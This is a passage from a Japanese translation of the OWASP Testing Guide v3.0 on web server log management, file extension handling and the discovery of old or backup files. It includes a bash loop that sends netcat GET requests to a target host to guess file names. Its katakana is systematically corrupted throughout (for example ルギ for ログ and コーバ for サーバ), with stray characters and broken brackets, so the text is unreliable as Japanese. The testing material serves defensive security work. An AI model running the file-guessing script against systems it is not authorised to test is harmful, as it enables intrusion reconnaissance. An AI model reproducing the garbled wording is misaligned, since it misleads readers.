ロギの 世 代 管 理<br />

一 般 的 にコーバは、 自 身 での 行 動 やウョーについてルーォラファイラ 上 にルギを 生 成 し、 稼 動 コーバのディシキを 使 いま<br />

す。しかし、そのコーバが 何 らかの 被 害 を 受 けた 場 合 、 侵 入 者 は 攻 撃 時 に 発 生 した 関 連連 するルギのすべてを 消 去 し、 証 拠<br />

の 隠 滅 を 図 ることができます。このようなことが 実 際 に 発 生 した 場 合 、サシテマの 管 理 者 は 攻 撃 元 のヨセーシがどこで、 実 際<br />

どのように 攻 撃 されたかについて 一 切 分 からなくなってしまいます。 実 際 の 話 ですが、 多 くの 攻 撃 用 のツーラには、 攻 撃 者<br />

を 特牐 定 するような 情 報 (IP アドリシなど'をすべてのルギ 上 から 抹 消 する log zapper のような 機 能 が 含 まれており、 攻 撃 者 の<br />

サシテマリプラのラートカットで 通 常 利 用 されます。このようなことから、ルギはウェブコーバ 内 に 格 納 するのではなく、 別 の<br />

ヨセーシで 管 理 するのが 賢 明 です。また、この 方 法 は、 同 一 のアプヨクーサュヱのヨセーシ(コーバファーマに 配郤 置 されたコー<br />

101


バ 類 'からのルギの 集 約 を 簡 単 にし、(CPU の 集 約 的 処 理 により' 既 存 のコーバに 影 響 を 与 えることなくルギの 解 析 が 容 易 に<br />

なります。<br />

ロギの 保 存 管 理<br />

ルギは 適遚 切 に 管 理 しないと、ヨセーシを 圧 迫 しコービシ 拒 否 の 状牮 態 を 引 き 起 こします。 攻 撃 を 実 行 するに 十 分 なヨセーシを 持<br />

つ 攻 撃 者 であれば、 対 象 のサシテマで 攻 撃 をブルッキあるいは 検 知 する 環 境 でない 限 り、コービシ 拒 否 の 状牮 態 を 引 き 起 こせ<br />

られることは 明 らかです。 大 量 のヨキウシトを 送 付 しルギファイラに 割 り 当 てられた 領 域 を 圧 迫 させることで 実 現 できます。し<br />

かし、コーバの 設 定 が 不 十 分 だと、ルギファイラはコーバ OS でのルギとアプヨクーサュヱでのルギが 同 じパーティサュヱに 記<br />

録 されることになります。これは 何 を 意 味 しているかというと、ディシキ 領 域 がエーバーフルーしてしまうと、これ 以 上 ヨセーシを<br />

利 用 できないという 理 由 でその OS やアプヨクーサュヱの 処 理 が 停 止 してしまうことになります。<br />

一 般 的 に UNIX のサシテマの 場 合 、ルギは /var の 領 域 でヨセーシが 割 り 当 てられています(コーバによっては /opt もしくは<br />

/usr/local かもしれません'。このようにルギを 含 むディリキトヨは 領 域 を 分 けて 管 理 することが 重 要 なのです。 場 合 によっては、<br />

サシテマルギが 影 響 を 受 けることを 防 ぐために、コーバセフトウェアが 割 り 当 てた 領 域 ( 例 えば Apache の 場 合 であれば<br />

/var/log/apache 'を 専 用 のパーティサュヱで 管 理 する 必 要 があります。<br />

ルギが 定 められた 領 域 に 格 納 されればそれで 良 しというわわけではありません。 増 え 続 けるルギには 攻 撃 の 兆 候 を 示 している<br />

ものが 含 まれている 可 能 性 があるため、この 状牮 態 を 発 見 するためにはルギをテシトしなければなりません。<br />

この 状牮 態 を 対 象 サシテマの 環 境 でテシトすることは、 簡 単 ではあるが、 危 険 でもあります。ヨキウシトがルギに 記 録 されるかどう<br />

か、もしできるならば、このルギに 割 り 当 てられた 領 域 でエーバーフルーする 可 能 性 はあるかを 見 極 めるため、 十 分 、かつ 耐<br />

えうる 数 のヨキウシトを 送 信 することになるからです。キウヨシトヨヱギのパョミーソを GET ヨキウシトや POST ヨキウシトに 係 わわら<br />

ずルギに 記 録 するような 環 境 では、 比 較 的 大 きなコイジのキウヨを 送 付 することで、 同 様 にルギ 領 域 のエーバーフルーの 可<br />

能 性 を 確 かめることができるでしょう。 一 般 的 に 小 さいキウヨでは、 日 時 や 送 信 元 IP アドリシ、ヨキウシト URL とコーバの 結 果<br />

などルギに 記 録 するため、コイジが 少 なくなり、その 効 果 は 見 込 めません。<br />

ロギのローテーシュンヱ<br />

ほとんどのコーバ(ただし、アプヨクーサュヱがほとんどォシソボイジされていないもの'では、 領 域 内 のエーバーフルー 防 ぐ<br />

ために、ルギをルーテーサュヱ 管 理 しています。ルーテートされたルギは、 限 られた 時 間 だけ 保 管 されます。<br />

この 特牐 性 は、 以 下 を 確 実 にするためにテシトされなければなりません。<br />

• ルギはスカャヨティホヨサーに 即 した 期 間 だけ 保 管 します。 長 くても 短 くてもいけません。<br />

• 一 度 ルーテートされたルギは 圧 縮 されます( 多 くのルギが 同 じ 領 域 内 に 管 理 されていくことから、 圧 縮 される 方 法 は<br />

便 利 です'。<br />

• ルーテートされたルギの 権 限 はルギファイラの 権 限 と 同 じ(もしくはそれ 以 上 'にします。 例 えば、ウェブコーバはル<br />

ギを 生 成 するため 書 き 込 み 権 限 が 必 要 になりますが、ルーテートされたルギに 対 しては 実 際 書 き 込 み 権 限 の 必 要<br />

はありません。この 権 限 によって、ウェブコーバのプルスシがこれらのファイラを 改 ざんするのを 防 ぎます。<br />

ルギのコイジ 制 限 が 近 づくと、コーバではルギがルーテートされる 場 合 があります。この 場 合 、 攻 撃 者 が 自 身 の 証 跡 の 抹 消<br />

を 目 的 としてルーテートを 強 制 するようなことができないようにしなければなりません。<br />

ロギの 検 証<br />

ルギ 検 証 は、コーバ 上 での 攻 撃 の 兆 候 を 明 らかにするだけでなく、 利 用 統 計 のデーソ 抽 出 を 目 的 としても 利 用 されます( 一<br />

般 的 に 多 くのルギのアプヨクーサュヱが 注 目 しているのは 何 か'。<br />

102


<strong>OWASP</strong> Testing Guide v3.0<br />

ウェブコーバへの 攻 撃 を 分 析 するためには、ウョールギを 分 析 する 必 要 があります。 検 証 には 以 下 の 要 素 を 取 り 入 れなけ<br />

ればなりません。<br />

• 400 系 (ファイラが 存 在 しない'のウョーミッスーザが 同 じ 送 信 元 から 送 信 されている 場 合 、CGI シカメナーによる 攻<br />

撃 を 示 している 可 能 性 があります。<br />

• 500 系 (コーバウョー'のウョーミッスーザは、 攻 撃 者 がアプヨクーサュヱの 一 部邪 の 機 能 に 対 して 予 期 しない 動 作 を<br />

期 待 した 攻 撃 の 兆 候 を 示 している 可 能 性 があります。 例 えば、SQL イヱザェキサュヱ 攻 撃 に 対 するウョーの 最 初 の<br />

部邪 分 には、SQL キウヨが 適遚 切 でなくデーソプーシでの 処 理 に 失 敗 した 場 合 にウョーミッスーザが 生 成 されます。<br />

ルギの 統 計 、あるいは 分 析 といった 作 業 は、ルギを 生 成 するコーバ 上 で 行 わわれるべきではありませんし、 格 納 もするべきで<br />

はありません。さもないと、 攻 撃 者 はウェブコーバの 脆 弱 性 あるいは 不 適遚 切 な 設 定 の 場 合 に、ルギファイラにアキスシするこ<br />

とができてしまいます。ルギファイラ 自 体 の 閲 覧 で 情 報 が 漏 えいすることから、 攻 撃 者 は 様 々な 情 報 の 詮 索 を 行 う 可 能 性 が<br />

あります。<br />

参 照<br />

ホワロアテペーパー<br />

一 般 :<br />

CERT Security Improvement Modules: Securing Public Web Servers - http://www.cert.org/security-improvement/<br />

Apache<br />

Apache Security, by Ivan Ristic, O’reilly, march 2005.<br />

Apache Security Secrets: Revealed (Again), Mark Cox, November 2003 - http://www.awe.com/mark/apcon2003/<br />

Apache Security Secrets: Revealed, ApacheCon 2002, Las Vegas, Mark J Cox, October 2002 -<br />

http://www.awe.com/mark/apcon2002<br />

Apache Security Configuration Document, InterSect Alliance -<br />

http://www.intersectalliance.com/projects/ApacheConfig/index.html<br />

Performance Tuning - http://httpd.apache.org/docs/misc/perf-tuning.html<br />

Lotus Domino<br />

Lotus Security Handbook, William Tworek et al., April 2004, available in the IBM Redbooks collection<br />

Lotus Domino Security, an X-force white-paper, Internet Security Systems, December 2002<br />

Hackproofing Lotus Domino Web Server, David Litchfield, October 2001,<br />

NGSSoftware Insight Security Research, available at www.nextgenss.com<br />

Microsoft IIS<br />

IIS 6.0 Security, by Rohyt Belani, Michael Muckin, - http://www.securityfocus.com/print/infocus/1765<br />

Securing Your Web Server (Patterns and Practices), Microsoft Corporation, January 2004<br />

IIS Security and Programming Countermeasures, by Jason Coombs<br />

From Blueprint to Fortress: A Guide to Securing IIS 5.0, by John Davis, Microsoft Corporation, June 2001<br />

Secure Internet Information Services 5 Checklist, by Michael Howard, Microsoft Corporation, June 2000<br />

“How To: Use IISLockdown.exe” - http://msdn.microsoft.com/library/en-us/secmod/html/secmod113.asp<br />

“INFO: Using URLScan on IIS” - http://support.microsoft.com/default.aspx?scid=307608<br />

Red Hat’s (formerly Netscape’s) iPlanet<br />

Guide to the Secure Configuration and Administration of iPlanet Web Server, Enterprise Edition 4.1, by James M Hayes<br />

The Network Applications Team of the Systems and Network Attack Center (SNAC), NSA, January 2001<br />

WebSphere<br />

IBM WebSphere V5.0 Security, WebSphere Handbook Series, by Peter Kovari et al., IBM, December 2002.<br />

IBM WebSphere V4.0 Advanced Edition Security, by Peter Kovari et al., IBM, March 2002<br />

103


4.3.5 ファアル 拡 張 子 処 理 のテステ(<strong>OWASP</strong>-CM-005)<br />

概 要<br />

ウェブコーバにおいて、ヨキウシト 実 行 のためどの 技 術 、 言 語 、プョギイヱを 使 うかを 簡 単 に 決 定 するため、ファイラ 拡 張 子婡<br />

が 広 く 使 用 されています。<br />

この 振 る 舞 いは RFC 及 び web の 標 準 にしたがっており、 侵 入 テシト 担 当 者 は、 標 準 的 なファイラ 拡 張 子婡 により、ウェブアプ<br />

ヨクーサュヱに 使 用 され 裏 に 潜 む 技 術 についての 有 用 な 情 報 を 得 ることができ、 特牐 定 の 技 術 を 使 うアソッキサナヨエを 容 易 に<br />

決 めることができます。<br />

更 に、ウェブコーバに 設 定 ポシがあればアキスシ 認 証 に 関 する 機 密 情 報 が 容 易 に 漏 れることがあります。<br />

解 説<br />

ウェブコーバが 異 なる 拡 張 子婡 に 応 じて、ヨキウシトをいかに 処 理 するか 理 解 することは、わわれわわれがアキスシしようとするファ<br />

イラ 種 別 に 依 存 して、ウェブコーバがどのように 振 る 舞 うか 理 解 することに 役 立 ちます。 例 えば、text/plain としてや、コーバ<br />

コイドにおける 実 行 を 引 き 起 こすものとして、どのファイラ 拡 張 子婡 が 返 されるのか 理 解 することに 役 立 ちます。 後 者 は、ウェ<br />

ブコーバあるいはアプヨクーサュヱコーバに 使 用 される 技 術 、 言 語 、プョギイヱを 示 し、いかにウェブアプヨクーサュヱが 設<br />

計 されているか、 追 加 的 に 考 察 できることがあります。 例 えば、.pl 拡 張 子婡 は、 通 常 コーバコイドの Perl の 使 用 に 関 連連 付 けら<br />

れます。(しかし、ファイラ 拡 張 子婡 だけでは 不 十 分 かもしれません。 例 えば、Perl を 使 っているという 事 実 を 隠 すために、Perl<br />

コーバコイドのヨセーシはファイラ 名 を 変 更 しているかもしれません。) コーバコイドの 技 術 とケヱホーネヱトの 特牐 定 につい<br />

ての 詳 細 は、 次 節 「ウェブコーバケヱホーネヱト」をご 参 照 下 さい。<br />

ブラチクボチクステステとその 例<br />

異 なるファイラ 拡 張 子婡 に 関 して http[s]ヨキウシトを 実 行 し、それらがどのように 処 理 されるか 確 認 して 下 さい。これらの 確 認 を、<br />

web ディリキトヨ 毎 に 行 って 下 さい。<br />

シキヨプト 実 行 が 許 可 されているディリキトヨを 確 認 して 下 さい。よく 知 られたディリキトヨの 存 在 を 探 索 する 脆 弱 性 シカメナを<br />

使 用 すると、ウェブコーバのディリキトヨを 特牐 定 できます。 更 に、web コイト 構 造造 をポョーヨヱギすると、アプヨクーサュヱによっ<br />

て 生 成 される web ディリキトヨの 木 構 造造 を 再 構 築 できます。<br />

ウェブアプヨクーサュヱのアーカテキタメが 負 荷 分 散 されている 場 合 には、すべてのウェブコーバについて 評 価 することが<br />

重 要 です。これが 容 易 であるかどうかは、 負 荷 分 散 の 構 成 によって 変 わわってきます。 冗 長 構 成 においては、 個 々のウェブコ<br />

ーバ、アプヨクーサュヱコーバの 構 成 に 少 し 差 異 があるかもしれません。 例 えば、web アーカテキタメに 異 種 の 技 術 が 適遚 用<br />

されているなら、そのようになります。( 負 荷 分 散 環 境 における IIS コーバと Apache コーバの 組 合 せについて 考 えてみて 下<br />

さい。それらには 少 し 異 なる 振 る 舞 い、 更 には 恐 らく 異 なる 脆 弱 性 が 生 じます。)<br />

104


<strong>OWASP</strong> Testing Guide v3.0<br />

例 :<br />

わわれわわれは connection.inc という 名 前 のファイラを 特牐 定 しました。それに 直 接 アキスシしようとすると、 下 記 のケヱテヱツが 返<br />

ってきます。<br />

<br />

バッキウヱドの DBMS に MySQL が 使 用 されていること、ウェブアプヨクーサュヱに( 弱 い) 認 証 情 報 が 使 用 されていることがわわ<br />

かります。( 現 実 に 生 じえる)この 例 は、ある 種 のファイラへのアキスシがいかに 危 険 であるかを 示 しています。<br />

下 記 のファイラ 拡 張 子婡 は、ウェブコーバによって 決 して 返 されるべきではありません。それは、 機 密 情 報 を 含 むかもしれな<br />

いファイラ、あるいは、 返 される 必 要 性 がないファイラと 関 連連 するためです。<br />

• .asa<br />

• .inc<br />

下 記 のファイラ 拡 張 子婡 は、アキスシされるとブョウゴによって 表 示 あるいはゾウヱルードされるファイラと 関 連連 しています。し<br />

たがって、これらのファイラ 拡 張 子婡 のファイラについて、 確 かにコーバに 保 持 されると 想 定 されていること、 及 び、 機 密 情 報<br />

を 含 まないことをテシトしなければなりません。<br />

• .zip, .tar, .gz, .tgz, .rar, ...: ( 圧 縮 された)アーォイブファイラ<br />

• .java: セーシファイラへアキスシを 許 可 する 必 要 はありません。<br />

• .txt: テカシトファイラ<br />

• .pdf: PDF ドカャミヱト<br />

• .doc, .rtf, .xls, .ppt, ...: エフィシドカャミヱト<br />

• バッキアップファイラを 示 す.bak、.old、その 他 の 拡 張 子婡 ( 例 8Emacs のバッキアップファイラの~)<br />

ファイラ 拡 張 子婡 はここで 包 括 的 に 取 り 扱 うには 多 すぎますので、 上 記 ヨシトは 2、3 の 例 にすぎません。 拡 張 子婡 のより 完媍 全 な<br />

デーソプーシについては、http://filext.com/ を 参 照 して 下 さい。<br />

要 約 すると、 与 えられた 拡 張 子婡 を 持 つファイラを 特牐 定 するためには、 脆 弱 性 シカメナ、シパイゾ、ポョーヨヱギツーラ、 手 動<br />

でのアプヨクーサュヱテシト(これは 自 動 実 行 シパイゾでは 無 理 なテシトのためです)、 検 索 ウヱザヱの 実 行 (Spidering と<br />

googling を 参 照 して 下 さい)などの 技 法 を 組 合 せて 使 うことができます。「 禁 じられた」ファイラに 関 するスカャヨティ 問 題 を 取<br />

り 扱 う 古 いファイラに 関 するテシトについても 参 照 して 下 さい。<br />

105


ギレーボチクステステとその 例<br />

ファイラ 拡 張 子婡 処 理 についてのベワロイトペッキシテシトは、そのウェブアプヨクーサュヱアーカテキタメに 属 するウェブコーバ、<br />

アプヨクーサュヱコーバの 設 定 をテシトすること、 及 び、それらがどのように 異 なるファイラ 拡 張 子婡 を 処 理 するように 指 示 され<br />

ているか 確 認 することです。ウェブアプヨクーサュヱが 負 荷 分 散 されていて 異 種 環 境 であるなら、それは 異 なる 振 る 舞 いを 生<br />

じさせるかもしれません。<br />

参 考 情 報<br />

ヂール<br />

<br />

<br />

<br />

<br />

Nessus や Nikto のような 脆 弱 性 シカメナは、よく 知 られた web ディリキトヨが 存 在 するかテシトします。また、それら<br />

は web コイトの 構 造造 をゾウヱルードし、web ディリキトヨの 設 定 、 及 び、 個 々のファイラ 拡 張 子婡 がどのように 処 理 され<br />

るかを 確 認 するために 役 立 ちます。<br />

wget - http://www.gnu.org/software/wget<br />

curl - http://curl.haxx.se<br />

Google で“web mirroring tools”を 検 索 して 下 さい。<br />

4.3.6 古 い、バチクアチプ、 参 照 されていないファアル(<strong>OWASP</strong>-CM-006)<br />

概 要<br />

ウェブコーバ 内 のほとんどのファイラはコーバ 自 身 によって 直 接 処 理 されますが、 参 照 されない、あるいは、 禁 じられたファ<br />

イラが 一 般 的 に 見 つかり、それらは IT イヱフョや 機 密 の 重 要 情 報 を 得 るために 利 用 できます。 最 も 一 般 的 なサナヨエは、 修<br />

正 されたファイラのヨネーマされた 古 いバーザュヱの 存 在 、 言 語 選遥 択 においてルードされるイヱキラーザュヱファイラ、セーシ<br />

としてゾウヱルードされるファイラ、 圧 縮 アーォイブの 自 動 あるいは 手 動 でのバッキアップがあります。これらのファイラから、<br />

侵 入 テシト 担 当 者 は、 内 部邪 動 作 、バッキドア、 管 理 者 向 けイヱソーフェーシへのアキスシ、 更 には 管 理 者 向 けイヱソーフェー<br />

シあるいはデーソプーシコーバへ 接 続 するための 機 密 情 報 を 得 ることができます。<br />

解 説<br />

脆 弱 性 の 重 要 な 原 因 は、アプヨクーサュヱに 少 しも 関 係 のないファイラ、つまり、アプヨクーサュヱファイラを 編 集 した 結 果 と<br />

して 作 成 されるファイラ、あるいは、 自 動 バッキアップケピー、web 木 構 造造 の 古 いファイラの 残 存 、 参 照 されないファイラに<br />

あります。 運遀 用 中 のウェブコーバ 上 における 現 設 定 ファイラの 編 集 や 他 の 管 理 作 業 は、 不 注 意 によって 結 果 的 にバッキア<br />

ップケピー、あるいはファイラ 編 集 中 にウディソによって 自 動 的 に 生 成 されるファイラ、zip 圧 縮 によってバッキアップを 取 得<br />

する 際 に 自 動 的 に 生 成 されるファイラを 残 すことになるかもしれません。<br />

それらのファイラについては 特牐 に 忘 れやすく、アプヨクーサュヱへの 深 刻 なスカャヨティ 脅 威姕 の 原 因 となるかもしれません。<br />

バッキアップファイラは 元 々のファイラとは 異 なるファイラ 拡 張 子婡 が 付 くため、このようなことが 発 生 します。わわれわわれが 作 成<br />

後 に 忘 れてしまうアーォイブファイラ.tar、.zip、.gz は、 明 らかに 異 なる 拡 張 子婡 を 持 ちます。 同 じことは、 多 くのウディソによっ<br />

て 作 成 される 自 動 バッキアップについても 言 えます。( 例 えば、emacs はファイラ file の 編 集 中 に 自 動 バッキアップ file~を 生<br />

成 します) 手 作 業 によるバッキアップも 同 じです。(file を file.old バッキアップすることを 考 えてみて 下 さい)<br />

106


<strong>OWASP</strong> Testing Guide v3.0<br />

結 果 として、a)アプヨクーサュヱに 必 要 とされないファイラ、b)ウェブコーバが 本 来 のファイラとは 異 なる 処 理 をするかもしれ<br />

ないファイラが 生 成 されます。 例 えば、login.asp のケピーlogin.asp.old を 取 得 すると、login.asp のセーシケードをゾウヱルー<br />

ドすることを 許 可 してしまいます。なぜなら、login.asp.old はその 拡 張 子婡 のため、 実 行 ファイラではなく text/plain として 処 理<br />

されるためです。 別 の 言 い 方 をすれば、login.asp へアキスシすると、login.asp のケードがコーバコイドで 実 行 されます。 一<br />

方 、login.asp.old へアキスシすると、login.asp.old はテカシトとして 返 されブョウゴに 表 示 されます。 一 般 的 に、コーバコイド<br />

のケードを 人 目 にさらすことは 悪 いことです。ビザネシルザッキを 不 必 要 に 人 目 にさらすだけでなく、(パシ 名 、デーソ 構 造造 な<br />

ど) 攻 撃 者 に 有 用 なアプヨクーサュヱ 関 連連 情 報 を 気 がつかないうちに 漏 らしてしまいます。 平 文 のヤーゴ 名 /パシワロードが 埋<br />

め 込 まれた 多 くのシキヨプトが 存 在 することにも 注 意 しなければなりません。(これは 不 注 意 であり、 非 常 に 危 険 な 例 です。)<br />

デーソファイラ、 設 定 ファイラ、ルギファイラのような 種 々のアプヨクーサュヱ 関 連連 のファイラは、ウェブコーバによってアキス<br />

シできるディリキトヨに 格 納 されます。(ヤーゴがブョウゴからアキスシできる 必 要 はなく、)それらはアプヨクーサュヱだけがア<br />

キスシできる 必 要 があり、 通 常 、web 経 由 でアキスシできるファイラサシテマ 空 間 に 存 在 する 必 要 はありません。<br />

脅 威<br />

古 いファイラ、バッキアップファイラ、 参 照 されないファイラが 存 在 すると、ウェブアプヨクーサュヱのスカャヨティに 様 々な 脅<br />

威姕 となります。8<br />

• 参 照 されないファイラから 機 密 情 報 が 漏 れ、アプヨクーサュヱをソーグットにする 攻 撃 が 容 易 になるかもしれません。<br />

その 機 密 情 報 とは、 例 えば、デーソプーシの 認 証 情 報 を 含 むイヱキラードファイラ、 他 の 隠 されたケヱテヱツへの<br />

参 照 先 を 含 む 設 定 ファイラ、 絶 対 ファイラパシなどです。<br />

• 参 照 されないヘーザは、アプヨクーサュヱを 攻 撃 するために 使 わわれえる 強 力 な 機 能 を 含 むかもしれません。 例 えば、<br />

管 理 者 ヘーザは、 公 開 ケヱテヱツからヨヱキが 張 られていなくても、それがどこにあるか 知 っているヤーゴはアキス<br />

シできます。<br />

• 古 いファイラとバッキアップファイラは、 最 近 のバーザュヱでは 修 正 済 みである 脆 弱 性 を 含 むかもしれません。 例 え<br />

ば、viewdoc.old.jsp はディリキトヨトョバーコラ 脆 弱 性 を 含 み、viewdoc.jsp ではその 脆 弱 性 が 修 正 されているかも<br />

しれません。 古 いバーザュヱのファイラが 見 つけられれば、 悪 用 されてしまいます。<br />

• バッキアップファイラから、コーバコイドで 実 行 されるように 設 計 されたセーシケードが 漏 えいするかもしれません。<br />

例 えば、viewdoc.bak をヨキウシトすると viewdoc.jsp のセーシケードが 返 されるとすると、 実 行 可 能 なヘーザにョヱ<br />

ゾマにヨキウシトすることでは 見 つけ 難 い 脆 弱 性 を 見 つけることができるかもしれません。この 脅 威姕 は 明 らかに Perl、<br />

PHP、ASP、サェラシキヨプト、JSP などのシキヨプト 言 語 に 適遚 用 されます。しかし、 下 記 の 例 に 示 すようにそれらに 限 定<br />

されません。<br />

• バッキアップアーォイブは、web ラート 内 外 のすべてのファイラケピーを 含 むかもしれません。これによって、 攻 撃<br />

者 は、 参 照 されないヘーザ、セーシケード、イヱキラードファイラなどを 含 めアプヨクーサュヱ 全 体 をすばやくウポャ<br />

リーサュヱできます。 例 えば、あなたが servlet のイヱプヨミヱテーサュヱキョシ(のバッキアップケピー)を 含 む<br />

myservlets.jar.old というファイラの 存 在 を 忘 れてしまったなら、 逆 ケヱパイラとヨバーシウヱザニアヨヱギによって 多<br />

くの 機 密 情 報 を 漏 らしてしまいます。<br />

• ある 場 合 にはファイラのケピーと 編 集 によってファイラ 拡 張 子婡 は 変 わわらずファイラ 名 が 変 わわります。 例 えば、<br />

Windows 環 境 において、ファイラケピー 操 作 によって「ケピー ~| 」が 先 頭 に 付 くファイラ 名 を 生 成 します。ファイラ<br />

拡 張 子婡 は 変 更 されないので、これはウェブコーバによって 実 行 可 能 ファイラがプリイヱテカシトとして 返 されるクー<br />

シではありません。したがって、セーシケードが 漏 えいするクーシではありません。しかし、これらのファイラは 古 く 不<br />

107


正 確 なルザッキを 含 み、 実 行 されるとアプヨクーサュヱウョーとなるので 診 断 ミッスーザが 表 示 されるなら、 攻 撃 者 に<br />

とって 価 値 ある 情 報 を 漏 らしてしまいとても 危 険 です。<br />

• ルギファイラは、アプヨクーサュヱヤーゴの 活 動 について 機 密 情 報 を 含 むかもしれません。その 機 密 情 報 とは、 例<br />

えば、URL パョミーソ、スッサュヱ ID、( 付 加 的 に 参 照 されないケヱテヱツを 漏 らすかもしれない) 訪 問 した URL など<br />

です。 他 のルギファイラ(ftp ルギなど)は、サシテマ 管 理 者 によるアプヨクーサュヱの 保 守 についての 機 密 情 報 を 含<br />

むかもしれません。<br />

対 抗 策<br />

効 果 的 防 御 を 保 証 できるよう、 下 記 のような 危 険 な 実 装 を 明 確 に 禁 止 するスカャヨティホヨサと 組 合 わわせて、テシトを 実 施 し<br />

て 下 さい。8<br />

• ウェブコーバ、アプヨクーサュヱコーバ 上 のファイラを 編 集 することは、ウディソがバッキアップファイラを 生 成 する<br />

ので、 特牐 に 悪 い 習 慣 です。 大 規 模 組 織 においてさえ、このことが 頻 繁 に 行 わわれていることに 驚 かされます。 運遀 用 中<br />

のサシテマ 上 のファイラを 編 集 する 必 要 が 絶 対 にあるのなら、 明 確 な 意 図 がないファイラは 確 実 に 残 さないように<br />

しなくてはなりません。また、ヨシキがあることを 理 解 しなければなりません。<br />

• 一 時 的 な 管 理 作 業 のように、ウェブコーバのファイラサシテマ 上 で 実 行 される 他 の 活 動 について 注 意 深 く 確 認 する<br />

こと。( 運遀 用 中 のサシテマにおいて 実 施 するべきではありませんが、) 例 えば、 時 々いくつかのディリキトヨのシナップ<br />

サュットを 取 得 する 必 要 があるなら、zip、tar アーォイブを 取 得 するかもしれません。アーォイブファイラを 残 したまま<br />

忘 れないように 注 意 して 下 さいㅯ!<br />

• 適遚 切 な 設 定 管 理 について、ホヨサーによって 古 く 参 照 されないファイラを 放 置 しないようにすること。<br />

• アプヨクーサュヱは、ウェブコーバの 公 開 ディリキトヨの 下 に、ファイラを 作 成 しない(またはそれに 依 存 しない)ように<br />

設 計 されるべきです。デーソファイラ、ルギファイラ、 設 定 ファイラなどは、ウェブコーバがアキスシできないディリキ<br />

トヨに 格 納 されるべきです。これは、 情 報 漏 えいの 可 能 性 に 対 処 するためです。(web ディリキトヨのパーポッサュヱが<br />

書 込 許 可 なら、デーソ 改 ざんについては 言 うまでもありません。)<br />

ブラチクボチクステステとその 例<br />

参 照 されないファイラについてのテシトには、 自 動 技 法 と 手 動 技 法 を 使 用 するもので 典 型 的 には 下 記 のものがあります。8<br />

(i) 公 開 ケヱテヱツに 使 用 される 名 前 付 けシカーマからの 推 測<br />

まだ 実 施 されていないなら、すべてのアプヨクーサュヱのヘーザと 機 能 をウポャリートして 下 さい。これは、ブョウゴを 使 い 手<br />

作 業 、あるいは、アプヨクーサュヱシパイゾツーラを 使 用 して 実 施 できます。たいていのアプヨクーサュヱは、 認 識 可 能 な 名<br />

前 付 けシカーマを 使 用 し。その 機 能 を 現 す 言 葉 によってヘーザとディリキトヨのヨセーシを 体 系 化 します。 公 開 ケヱテヱツに<br />

使 用 される 名 前 付 けシカーマから、 参 照 されないヘーザの 名 前 と 位 置 を 推 測 することが、しばしば 可 能 です。 例 えば、<br />

viewuser.asp というヘーザが 見 つかったなら、ediruser.asp、adduser.asp、deleteuser.asp も 探 してみて 下 さい。ディリキトヨ<br />

/app/user が 見 つかったなら、/app/admin、/app/manager も 探 してみて 下 さい。<br />

(ii) 公 開 ケヱテヱツの 他 の 手 掛 かり<br />

多 くのウェブアプヨクーサュヱには、 公 開 ケヱテヱツの 中 に、 隠 されたヘーザと 機 能 を 見 つけ 出 すため 利 用 できる 手 掛 かりが<br />

ある。それらの 手 掛 かりは、しばしば、HTML と JavaScript ファイラのセーシケードにあります。すべての 公 開 ケヱテヱツのセ<br />

108


<strong>OWASP</strong> Testing Guide v3.0<br />

ーシケードは、 他 のヘーザと 機 能 について 手 掛 かりを 特牐 定 するために、 手 作 業 でリビャーして 下 さい。 例 えば、プルギョボー<br />

のケミヱトとセーシケードのケミヱトアウト 部邪 分 は、 隠 されたケヱテヱツを 参 照 しているかもしれません。8<br />

<br />

<br />

JavaScript は、 特牐 定 環 境 下 のヤーゴ GUI 内 部邪 に 描 画 されるだけのヘーザのヨヱキを 含 むかもしれません。:<br />

var adminUser=false;<br />

:<br />

if (adminUser) menu.add (new menuItem ("Maintain users", "/admin/useradmin.jsp"));<br />

HTML pages may contain FORMs that have been hidden by disabling the SUBMIT element:<br />

<br />

<br />

<br />

<br />

参 照 されないディリキトヨについて 他 の 手 掛 かりは、web ルペットへの 指 示 に 使 用 される /robots.txt です。:<br />

User-agent: *<br />

Disallow: /Admin<br />

Disallow: /uploads<br />

Disallow: /backup<br />

Disallow: /~jbloggs<br />

Disallow: /include<br />

(iii)バインディングの 推 測<br />

最 もサヱプラな 方 法 は、 一 般 的 なファイラ 名 のヨシトを 順 に 試 して、コーバ 上 に 存 在 するファイラとディリキトヨを 推 測 するこ<br />

とです。:<br />

#!/bin/bash<br />

server=www.targetapp.com<br />

port=80<br />

while read url<br />

do<br />

echo -ne "$url\t"<br />

echo -e "GET /$url HTTP/1.0\nHost: $server\n" | netcat $server $port | head -1<br />

done | tee outputfile<br />

コーバによっては、より 早 く 結 果 を 得 るために、GET は HEAD に 置 き 換 えるほうがいいかもしれません。 出 力 ファイラは、「 興<br />

味 深 い」リシホヱシケードについて grep を 使 ってフィラソヨヱギできます。リシホヱシケード 200 (OK)は、 通 常 、 該 当 するヨセ<br />

ーシが 見 つかったことを 示 します。(コーバはケード 200 を 使 う 時 、ォシソボイジした「not found」ヘーザは 返 しません。) 301<br />

(Moved)、302 (Found)、401 (Unauthorized)、403 (Forbidden)、500 (Internal error)も 探 して 下 さい。 継 続 して 調 査 する 価 値<br />

があるかもしれません。<br />

基 本 的 な 推 測 による 攻 撃 を、webroot、 更 には 他 の 列 挙 技 法 によって 特牐 定 されたすべてのディリキトヨに 対 して 行 って 下 さ<br />

い。 高 度 で 効 果 的 な 推 測 による 攻 撃 は、 下 記 のように 実 施 できます。<br />

109


• アプヨクーサュヱで 使 わわれている 既 知 のファイラ 拡 張 子婡 ( 例 jsp、 aspx、 html)を 特牐 定 し、 基 本 的 な 単 語 ヨシトにそれ<br />

ぞれの 拡 張 子婡 を 連連 結 して 使 用 して 下 さい。( 時 間 が 許 すなら、 一 般 的 な 拡 張 子婡 の 長 いヨシトを 使 用 して 下 さい。)<br />

• 他 の 列 挙 技 法 により 特牐 定 したファイラを 使 い、そのファイラ 名 から 派 生 するォシソボイジした 単 語 ヨシトを 作 成 して<br />

下 さい。 一 般 的 なファイラ 拡 張 子婡 のヨシトを 取 得 して 下 さい。 (~、bak、txt、src、dev、old、inc、orig、copy、tmp など<br />

を 含 めて 下 さい。) 各 拡 張 子婡 を、 実 際 のファイラ 名 の 拡 張 子婡 の 前 、あるいは、 後 、 置 換 に 使 用 して 下 さい。<br />

注 釈 8Windows のファイラケピー 操 作 によって、「ケピー ~|」がファイラ 名 の 先 頭 に 付 きます。したがって、ファイラ 拡 張 子婡 は<br />

変 更 されません。「ケピー ~|」ファイラは、 典 型 的 に、アキスシされてもセーシケードは 漏 えいしませんが、 実 行 時 にウョーが<br />

